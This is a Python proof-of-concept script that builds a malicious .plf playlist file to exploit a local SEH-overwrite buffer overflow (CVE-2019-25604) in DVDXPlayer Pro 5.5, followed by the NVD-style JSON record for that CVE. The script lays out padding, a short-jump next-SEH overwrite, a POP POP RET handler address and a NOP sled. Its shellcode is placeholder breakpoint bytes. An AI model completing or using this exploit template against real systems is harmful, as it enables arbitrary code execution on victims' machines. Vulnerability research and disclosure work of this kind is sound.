CVE-2019-25604

#!/usr/bin/env python3 # PoC Generator for CVE-2019-25604 # Exploit: Local Buffer Overflow with SEH Overwrite in DVDXPlayer Pro 5.5 import struct # Configuration filename = "exploit.plf" # The offset to the SEH handler needs to be determined via pattern_create/offset # This is a hypothetical offset for demonstration. offset = 4108 # 1. Padding to reach the SEH structure padding = b"A" * offset # 2. Overwrite Next SEH # We use a short jump (jmp short 0x06) followed by NOP to jump into the shellcode next_seh = b"\xeb\x06\x90\x90" # 3. Overwrite SE Handler # Address of POP POP RET instruction in a non-ASLR module (e.g., system DLL) # Replace with valid address from target environment seh_handler = struct.pack("<L", 0x10010010) # 4. NOP Sled nop_sled = b"\x90" * 32 # 5. Shellcode (Example: MessageBox or Calc.exe) shellcode = b"\xcc\xcc\xcc\xcc" # Int3 for debugging # Construct payload payload = padding + next_seh + seh_handler + nop_sled + shellcode try: with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file '{filename}' created successfully.") print(f"[+] Load this file in DVDXPlayer Pro 5.5 to trigger the vulnerability.") except IOError as e: print(f"[-] Error creating file: {e}")

{"cve": {"id": "CVE-2019-25604", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:28.083", "lastModified": "2026-04-16T16:19:50.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "DVDXPlayer Pro 5.5 contains a local buffer overflow vulnerability with structured exception handling that allows local attackers to execute arbitrary code by crafting malicious playlist files. Attackers can create a specially crafted .plf file containing shellcode and NOP sleds that overflows a buffer and hijacks the SEH chain to execute arbitrary code with application privileges."}, {"lang": "es", "value": "DVDXPlayer Pro 5.5 contiene una vulnerabilidad de desbordamiento de búfer local con manejo estructurado de excepciones que permite a atacantes locales ejecutar código arbitrario mediante la creación de archivos de lista de reproducción maliciosos. Los atacantes pueden crear un archivo .plf especialmente diseñado que contenga shellcode y NOP sleds que desborda un búfer y secuestra la cadena SEH para ejecutar código arbitrario con privilegios de aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://www.dvd-x-player.com/download.html#dvdPlayer", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46962", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/dvdxplayer-pro-local-buffer-overflow-with-seh", "source": "[email protected]"}]}}